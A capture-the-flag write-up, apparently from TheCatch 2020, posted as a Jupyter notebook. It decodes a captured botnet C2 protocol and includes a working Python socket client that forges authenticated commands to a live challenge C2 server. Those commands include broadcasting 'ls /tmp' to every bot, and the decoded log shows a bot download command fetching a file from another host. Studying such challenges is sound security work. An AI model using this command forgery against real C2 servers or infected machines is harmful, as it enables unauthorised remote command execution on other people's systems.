Skip to content

Instantly share code, notes, and snippets.

@boh
Created Nov 3, 2020
Embed
What would you like to do?
thecatch_2020
{
"cells": [
{
"cell_type": "code",
"execution_count": 1,
"metadata": {
"scrolled": true
},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Hello TheCatch2020!\n"
]
}
],
"source": [
"print('Hello TheCatch2020!')"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Botnet master writeup\n",
"```\n",
"Hi, executive senior investigator!\n",
"\n",
"We have managed to get a rare catch - a traffic dump of issuing commands for the C2 server by its master! Glory to the network specialists of unnamed company. Try to find out how this communication works.\n",
"\n",
"Use password maSTeR-aND-coMMAndEr to download the evidence\n",
"\n",
"Our network analytics report that one of currently online C2 servers can be found on IP 78.128.216.92 on TCP/20220.\n",
"\n",
"Good luck!\n",
"```"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Pcap\n",
"\n",
"Here we are again, fighting against the malware. The unnamed specialist created for us a pcap file. Let's start investigating!\n",
"\n",
"Opening the PCAP file in Wireshark we can see a lot communication. The server is listening on port `20202` and the C2 IP address is not longer available so it seems we're really lucky to have this PCAP.\n",
"\n",
"![PCAP](https://user-images.githubusercontent.com/9626439/98036002-9bb0c100-1e19-11eb-898b-bdcf5ea4bb05.png)\n",
"\n",
"Looks like the whole communication is about the data we see here:\n",
"\n",
"![data](https://user-images.githubusercontent.com/9626439/98036000-9b182a80-1e19-11eb-9257-53b4671699bd.png)\n",
"\n",
"For a quick analysis, let's use the CyberChef, we quickly see the patter, nested matryoshka:\n",
"\n",
"![cyberchef](https://user-images.githubusercontent.com/9626439/98037940-a3259980-1e1c-11eb-8368-8e6888abe489.gif)\n",
"\n",
"Saved recipe looks like this, you can load it in your CyberChef and try this out.\n",
"\n",
"```\n",
"[{\"op\":\"From Hex\",\"args\":[\"Auto\"]},{\"op\":\"Drop bytes\",\"args\":[0,8,false]},{\"op\":\"From Base64\",\"args\":[\"A-Za-z0-9+/=\",true]},{\"op\":\"Reverse\",\"args\":[\"Character\"]},{\"op\":\"Drop bytes\",\"args\":[0,16,false]},{\"op\":\"From Hex\",\"args\":[\"Auto\"]}]\n",
"```"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now we know what has to be done, let' do that for all the sessions in the pcap. For this, let's use a bash script to parse the sessions and decode the data.\n",
"\n",
"```shell\n",
"#!/bin/bash\n",
"\n",
"for f in *.txt\n",
"do\n",
"\t#while read line; do echo | xxd -r -p | cut -c9- | base64 -d | rev | cut -c17- | xxd -r -p && echo >> decoded_$f; done < $f\n",
"\twhile read line\n",
"\t\tdo\n",
"\t\t\techo $line | xxd -r -p | cut -c9- | base64 -d | rev | cut -c17- | xxd -r -p && echo \"\" >> decoded_$f.dec\n",
"\t\tdone < $f\n",
"\techo processing file $f\n",
"done\n",
"```\n",
"\n",
"We've successfully decoded all the communication and we even see a flag being downloaded.\n",
"\n",
"```\n",
"[...SNIP...]\n",
"6p0x84lamhowyk5;;ready;;Linuxwait;;5processing file hex_433.txt\n",
"0hpxc5sdo9kgne64;;ready;;Linuxwait;;5processing file hex_434.txt\n",
"1nhxcp2saj4d685g;;ready;;Linuxwait;;5processing file hex_435.txt\n",
"51awbq6mk32nejil;;ready;;Linuxwait;;5processing file hex_436.txt\n",
"ws1mk4iae80b53jc;;ready;;Linuxwait;;5processing file hex_437.txt\n",
"ds21bowz45903pgm;;ready;;Linuxwait;;5processing file hex_438.txt\n",
"ez0by4jqd3sikm8c;;ready;;Linuxwait;;5processing file hex_439.txt\n",
"0hpxc5sdo9kgne64;;ready;;Linuxwait;;30processing file hex_43.txt\n",
"kl5puyj43brf7iso;;download;;0hpxc5sdo9kgne64;;/tmp/flag;;http://198.19.220.13:80/flag;;cfb8ad2096b87f07ef3154e198862bab81bce63cba14fd1ecd01ac83c849a42df494dd3b64793f4fad8cc02aa21ec61ecommand accepted;;processing file hex_440.txt\n",
"eimxd0lj4tby5gf7;;ready;;Linuxwait;;5processing file hex_441.txt\n",
"dhps6t2u5egi1jrx;;ready;;Linuxwait;;5processing file hex_442.txt\n",
"irg6s7z8xvbnh0aj;;ready;;Linuxwait;;5processing file hex_443.txt\n",
"06fylhnt3wm4ikrx;;ready;;Linuxwait;;5processing file hex_444.txt\n",
"c6p0x84lamhowyk5;;ready;;Linuxwait;;5processing file hex_445.txt\n",
"0hpxc5sdo9kgne64;;ready;;Linuxdownload;;/tmp/flag;;http://198.19.220.13:80/flagprocessing file hex_446.txt\n",
"1nhxcp2saj4d685g;;ready;;Linuxwait;;5processing file hex_447.txt\n",
"51awbq6mk32nejil;;ready;;Linuxwait;;5processing file hex_448.txt\n",
"ws1mk4iae80b53jc;;ready;;Linuxwait;;5processing file hex_449.txt\n",
"1nhxcp2saj4d685g;;ready;;Linuxwait;;30processing file hex_44.txt\n",
"ds21bowz45903pgm;;ready;;Linuxwait;;5processing file hex_450.txt\n",
"ez0by4jqd3sikm8c;;ready;;Linuxwait;;5processing file hex_451.txt\n",
"eimxd0lj4tby5gf7;;ready;;Linuxwait;;5processing file hex_452.txt\n",
"dhps6t2u5egi1jrx;;ready;;Linuxwait;;5processing file hex_453.txt\n",
"irg6s7z8xvbnh0aj;;ready;;Linuxwait;;5processing file hex_454.txt\n",
"06fylhnt3wm4ikrx;;ready;;Linuxwait;;5processing file hex_455.txt\n",
"c6p0x84lamhowyk5;;ready;;Linuxwait;;5processing file hex_456.txt\n",
"0hpxc5sdo9kgne64;;info;;download-ok;;http://198.19.220.13:80/flag -> /tmp/flagprocessing file hex_457.txt\n",
"1nhxcp2saj4d685g;;ready;;Linuxwait;;5processing file hex_458.txt\n",
"51awbq6mk32nejil;;ready;;Linuxwait;;5processing file hex_459.txt\n",
"[...SNIP...]\n",
"```\n",
"\n",
"Looks like the botnet clients are waiting for a commands. Some of the commands have weird data appended. CyberChef to the rescue again!\n",
"\n",
"![cyberchef_hash](https://user-images.githubusercontent.com/9626439/98038679-d1f03f80-1e1d-11eb-97a0-54208aae33a7.png)\n",
"\n",
"So, if we want to execute a command, we have to append a SHA-384 to it. Let's try it."
]
},
{
"cell_type": "code",
"execution_count": 22,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[x] Data length :0x1a4\n",
"[x] Data:\\x4e\\x6a\\x59\\x32\\x4e\\x6a\\x51\\x32\\x4e\\x44\\x59\\x33\\x4d\\x7a\\x63\\x7a\\x4d\\x54\\x4d\\x32\\x4e\\x6a\\x4d\\x7a\\x4d\\x6a\\x4d\\x32\\x4d\\x7a\\x67\\x7a\\x4f\\x44\\x4d\\x79\\x4e\\x6a\\x45\\x32\\x4e\\x6a\\x59\\x33\\x4d\\x7a\\x59\\x32\\x4f\\x44\\x4d\\x7a\\x4d\\x7a\\x41\\x7a\\x4e\\x6a\\x59\\x79\\x4e\\x6a\\x59\\x32\\x4d\\x54\\x59\\x79\\x4d\\x7a\\x6b\\x7a\\x4d\\x7a\\x59\\x78\\x4e\\x6a\\x51\\x7a\\x4d\\x54\\x4d\\x31\\x4e\\x6a\\x59\\x7a\\x4e\\x44\\x59\\x79\\x4d\\x7a\\x4d\\x32\\x4e\\x54\\x4d\\x31\\x4e\\x6a\\x45\\x32\\x4d\\x6a\\x4d\\x33\\x4d\\x7a\\x6b\\x7a\\x4d\\x54\\x59\\x7a\\x4d\\x7a\\x63\\x7a\\x4d\\x7a\\x59\\x79\\x4d\\x7a\\x49\\x7a\\x4d\\x54\\x59\\x77\\x4d\\x7a\\x55\\x32\\x4d\\x44\\x4d\\x79\\x4e\\x6a\\x51\\x7a\\x4d\\x7a\\x4d\\x32\\x4e\\x6a\\x4d\\x7a\\x4d\\x54\\x4d\\x32\\x4d\\x7a\\x4d\\x7a\\x4e\\x54\\x4d\\x78\\x4e\\x6a\\x49\\x7a\\x4d\\x54\\x4d\\x30\\x4e\\x6a\\x49\\x7a\\x4d\\x7a\\x59\\x78\\x4e\\x6a\\x45\\x32\\x4e\\x44\\x59\\x7a\\x4e\\x6a\\x45\\x32\\x4e\\x54\\x4d\\x79\\x4d\\x7a\\x67\\x7a\\x4d\\x6a\\x59\\x34\\x4d\\x7a\\x59\\x32\\x4d\\x6a\\x59\\x7a\\x4e\\x6a\\x6b\\x7a\\x4d\\x6a\\x59\\x35\\x4d\\x7a\\x59\\x32\\x4e\\x44\\x59\\x32\\x4d\\x7a\\x45\\x32\\x4e\\x54\\x4d\\x31\\x4d\\x7a\\x59\\x7a\\x4e\\x6a\\x59\\x77\\x4d\\x7a\\x59\\x32\\x4d\\x7a\\x4d\\x7a\\x4d\\x7a\\x67\\x7a\\x59\\x6a\\x4e\\x69\\x4d\\x7a\\x55\\x32\\x4e\\x6a\\x63\\x35\\x4e\\x6a\\x51\\x33\\x4d\\x7a\\x59\\x78\\x4e\\x6d\\x49\\x7a\\x59\\x6a\\x4d\\x77\\x4d\\x7a\\x49\\x7a\\x4d\\x6a\\x4d\\x77\\x4d\\x7a\\x49\\x7a\\x5a\\x54\\x49\\x79\\x4d\\x7a\\x6b\\x7a\\x5a\\x54\\x49\\x32\\x4d\\x7a\\x45\\x7a\\x4d\\x6a\\x4e\\x6c\\x4d\\x6a\\x67\\x7a\\x4d\\x6a\\x4d\\x78\\x4d\\x32\\x55\\x79\\x4f\\x44\\x4d\\x33\\x4d\\x32\\x49\\x7a\\x59\\x6a\\x4e\\x6d\\x4e\\x6a\\x59\\x32\\x5a\\x54\\x59\\x35\\x4e\\x6d\\x49\\x7a\\x59\\x6a\\x4e\\x6d\\x4e\\x6a\\x4d\\x33\\x4f\\x54\\x59\\x33\\x4d\\x7a\\x59\\x32\\x4d\\x6a\\x63\\x79\\x4e\\x6a\\x4d\\x7a\\x4e\\x44\\x4e\\x68\\x4e\\x6a\\x6b\\x33\\x4e\\x54\\x63\\x77\\x4e\\x7a\\x55\\x7a\\x59\\x7a\\x5a\\x69\\x4e\\x6a\\x41\\x77\\x4d\\x44\\x41\\x77\\x4d\\x44\\x41\\x77\\x4d\\x44\\x41\\x77\\x4d\\x44\\x41\\x77\\x4d\\x44\\x41\\x3d\n"
]
}
],
"source": [
"import base64\n",
"import codecs\n",
"\n",
"a = \"kl5puyj43brf7iso;;info;;78.128.216.92.20220;;active;;833f0f655a6df9b9cbf8b825acdaac2d12a53613f34b0e0a22c73a972ae5c2d6e14ac92afbf038f7fab88623f177ddff\"\n",
"b = a.encode().hex()\n",
"b = \"0000000000000000\"+b\n",
"b = b[::-1]\n",
"b = base64.b64encode(b.encode(encoding='UTF-8'))\n",
"b = b.hex()\n",
"print (\"[x] Data length :\"+hex((len(b)//2)))\n",
"c = '\\\\x'+'\\\\x'.join([b[i:i+2] for i in range(0, len(b), 2)])\n",
"print (\"[x] Data:\" + c)\n"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now let's run this data against a live C2 server. There's a small change, we have to prepend a data length. If don't do that or the hex values are wrong we receive a bad message alert from the C2 server. \n",
"\n",
"```python\n",
"import socket\n",
"import sys\n",
"from time import sleep\n",
"import base64\n",
"import array\n",
"\n",
"c='\\x4e\\x6a\\x59\\x32\\x4e\\x6a\\x51\\x32\\x4e\\x44\\x59\\x33\\x4d\\x7a\\x63\\x7a\\x4d\\x54\\x4d\\x32\\x4e\\x6a\\x4d\\x7a\\x4d\\x6a\\x4d\\x32\\x4d\\x7a\\x67\\x7a\\x4f\\x44\\x4d\\x79\\x4e\\x6a\\x45\\x32\\x4e\\x6a\\x59\\x33\\x4d\\x7a\\x59\\x32\\x4f\\x44\\x4d\\x7a\\x4d\\x7a\\x41\\x7a\\x4e\\x6a\\x59\\x79\\x4e\\x6a\\x59\\x32\\x4d\\x54\\x59\\x79\\x4d\\x7a\\x6b\\x7a\\x4d\\x7a\\x59\\x78\\x4e\\x6a\\x51\\x7a\\x4d\\x54\\x4d\\x31\\x4e\\x6a\\x59\\x7a\\x4e\\x44\\x59\\x79\\x4d\\x7a\\x4d\\x32\\x4e\\x54\\x4d\\x31\\x4e\\x6a\\x45\\x32\\x4d\\x6a\\x4d\\x33\\x4d\\x7a\\x6b\\x7a\\x4d\\x54\\x59\\x7a\\x4d\\x7a\\x63\\x7a\\x4d\\x7a\\x59\\x79\\x4d\\x7a\\x49\\x7a\\x4d\\x54\\x59\\x77\\x4d\\x7a\\x55\\x32\\x4d\\x44\\x4d\\x79\\x4e\\x6a\\x51\\x7a\\x4d\\x7a\\x4d\\x32\\x4e\\x6a\\x4d\\x7a\\x4d\\x54\\x4d\\x32\\x4d\\x7a\\x4d\\x7a\\x4e\\x54\\x4d\\x78\\x4e\\x6a\\x49\\x7a\\x4d\\x54\\x4d\\x30\\x4e\\x6a\\x49\\x7a\\x4d\\x7a\\x59\\x78\\x4e\\x6a\\x45\\x32\\x4e\\x44\\x59\\x7a\\x4e\\x6a\\x45\\x32\\x4e\\x54\\x4d\\x79\\x4d\\x7a\\x67\\x7a\\x4d\\x6a\\x59\\x34\\x4d\\x7a\\x59\\x32\\x4d\\x6a\\x59\\x7a\\x4e\\x6a\\x6b\\x7a\\x4d\\x6a\\x59\\x35\\x4d\\x7a\\x59\\x32\\x4e\\x44\\x59\\x32\\x4d\\x7a\\x45\\x32\\x4e\\x54\\x4d\\x31\\x4d\\x7a\\x59\\x7a\\x4e\\x6a\\x59\\x77\\x4d\\x7a\\x59\\x32\\x4d\\x7a\\x4d\\x7a\\x4d\\x7a\\x67\\x7a\\x59\\x6a\\x4e\\x69\\x4d\\x7a\\x55\\x32\\x4e\\x6a\\x63\\x35\\x4e\\x6a\\x51\\x33\\x4d\\x7a\\x59\\x78\\x4e\\x6d\\x49\\x7a\\x59\\x6a\\x4d\\x77\\x4d\\x7a\\x49\\x7a\\x4d\\x6a\\x4d\\x77\\x4d\\x7a\\x49\\x7a\\x5a\\x54\\x49\\x79\\x4d\\x7a\\x6b\\x7a\\x5a\\x54\\x49\\x32\\x4d\\x7a\\x45\\x7a\\x4d\\x6a\\x4e\\x6c\\x4d\\x6a\\x67\\x7a\\x4d\\x6a\\x4d\\x78\\x4d\\x32\\x55\\x79\\x4f\\x44\\x4d\\x33\\x4d\\x32\\x49\\x7a\\x59\\x6a\\x4e\\x6d\\x4e\\x6a\\x59\\x32\\x5a\\x54\\x59\\x35\\x4e\\x6d\\x49\\x7a\\x59\\x6a\\x4e\\x6d\\x4e\\x6a\\x4d\\x33\\x4f\\x54\\x59\\x33\\x4d\\x7a\\x59\\x32\\x4d\\x6a\\x63\\x79\\x4e\\x6a\\x4d\\x7a\\x4e\\x44\\x4e\\x68\\x4e\\x6a\\x6b\\x33\\x4e\\x54\\x63\\x77\\x4e\\x7a\\x55\\x7a\\x59\\x7a\\x5a\\x69\\x4e\\x6a\\x41\\x77\\x4d\\x44\\x41\\x77\\x4d\\x44\\x41\\x77\\x4d\\x44\\x41\\x77\\x4d\\x44\\x41\\x77\\x4d\\x44\\x41\\x3d'\n",
"def run():\n",
"\n",
" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
" server_address = ('78.128.216.92', 20220)\n",
" print >>sys.stderr, 'connecting to %s port %s' % server_address\n",
" sock.connect(server_address)\n",
" sock.settimeout(60)\n",
" try:\n",
"\n",
" # Send data\n",
" message = '\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xa4'+c\n",
" print >>sys.stderr, 'sending \"%s\"' % message\n",
" sock.sendall(message)\n",
" sock.settimeout(30)\n",
" amount_received = 0\n",
" amount_expected = len(message)\n",
" data = sock.recv(20480)\n",
" amount_received += len(data)\n",
" print >>sys.stderr, '[x] received \"%s\"' % data\n",
" data = \"%s\" % data\n",
" decodedByte = base64.b64decode(data[1:])\n",
" decodedStr = str(decodedByte)\n",
" print(decodedStr)\n",
"\n",
" finally:\n",
" print >>sys.stderr, 'closing socket'\n",
" sock.close()\n",
"\n",
"run()\n",
"```\n",
"\n",
"We've received:\n",
"`[x] received \"$MjMzNjQ3NzYzNzk3ZTY4NjUzZjY1NzE3YTY0Njg3NzNjMjUzMjMwN2Q2ZTYzNzY2OTY4NzgzNjNmNjc2OTc3NzEzYzIxNzAzNDM0N2E2ODYzNzY3YzZlNjIzYjZmNjk2YTc3NmMyNjM4NzAzZDYyM2M2NzYxMzk3MjcyNjA3Nzc2NzkzNDNjMjAzMTM3Mzc2NjNlNjE2ODc1Nzc3OTczMzgzNjYyNzg2YzIwNzgzMjM4NzQzMzY3NzMzOTY3M2I2MDM2NzE3YTczNzAwMDAwMDAwMDAwMDAwMDA=\"`\n",
"\n",
"Which decodes as:\n",
"\n",
"`szqv0k7i3wc4x28p,hrf83ywuxan6g710,49vwpbry1gl2m0x6,gziok2nlvshjt40q,1wygo68xifsnmp25,7xdjquo5hnysgtc2`\n",
"\n",
"Now we know we have a functional way how to communicate with the C2 server.\n",
"\n",
"Let's issue an command and list file under /tmp.\n",
"\n",
"`hrf83ywuxan6g710;;execute;;*;;ls /tmp;;c75d3b8c56a255ebd8e65d2571b419f7398823f80f57e65705b37e684f0fdb0b7ee36e6b949540d6c5e9a25766b654d7`\n",
"\n",
"OK, we've received `YjNiMzQ2NTY0NzA3NTYzNjM2MTYwMjQ2ZTYxNmQ2ZDZmNjM2MDAwMDAwMDAwMDAwMDAwMA==` which in turns means `command accepted;;`. \n",
"\n",
"After running few more commands like download the flag, cat the flag etc we tell the C2 server we are ready as we saw earlier in the PCAP dump, for example `6p0x84lamhowyk5;;ready;;Linux`.\n",
"\n",
"But the wait command response says: `wait;;65535`\n",
"\n",
"We have to doublecheck all the investigative process again, this doesn't lead to anywhere.\n",
"\n",
"After doublechecking everything, it seems there's one forgotten command visible in the original PCAP.\n",
"\n",
"```\n",
"hps6t2u5egi1jrx;;ready;;Linuxwait;;5processing file hex_520.txt\n",
"irg6s7z8xvbnh0aj;;ready;;Linuxwait;;5processing file hex_521.txt\n",
"06fylhnt3wm4ikrx;;ready;;Linuxwait;;5processing file hex_522.txt\n",
"c6p0x84lamhowyk5;;ready;;Linuxwait;;5processing file hex_523.txt\n",
"kl5puyj43brf7iso;;info;;203.0.113.16.20202;;clients;;c3c832bc83fa5d291559487932c5f57d35e838dfe9ec385b49dd45e0a28095738012082401d8b35e55411a25a1acfb96ffff0000ffff0000,0hpxc5sdo9kgne64,c6p0x84lamhowyk5,06fylhnt3wm4ikrx,irg6s7z8xvbnh0aj,dhps6t2u5egi1jrx,eimxd0lj4tby5gf7,ez0by4jqd3sikm8c,ds21bowz45903pgm,ws1mk4iae80b53jc,51awbq6mk32nejil,1nhxcp2saj4d685gprocessing file hex_524.txt\n",
"1nhxcp2saj4d685g;;ready;;Linuxwait;;5processing file hex_525.txt\n",
"51awbq6mk32nejil;;ready;;Linuxwait;;5processing file hex_526.txt\n",
"```\n",
"\n",
"The `info;;203.0.113.16.20202;;clients` looked similar to `info;;203.0.113.16.20202;;active`. Ouch!\n",
"\n",
"Running the command against an active C2 might give us something, finally!\n",
"\n",
"`kl5puyj43brf7iso;;info;;78.128.216.92.20220;;clients;;a4ec20b071779db7a3525b83f2f03a4673c4e41b6ced0a1d447b0d6fd83846d2e051f3ecc02ff61954a203682cadf245`\n",
"\n",
"Indeed, the response revealed a flag!\n",
"\n",
"![flag](https://user-images.githubusercontent.com/9626439/98042673-3f06d380-1e24-11eb-8d22-fc1748ecce73.png)\n",
"\n",
"Lesson learned (again), every detail counts! This was again a valuable lesson.\n"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": []
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.8.3"
}
},
"nbformat": 4,
"nbformat_minor": 4
}
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment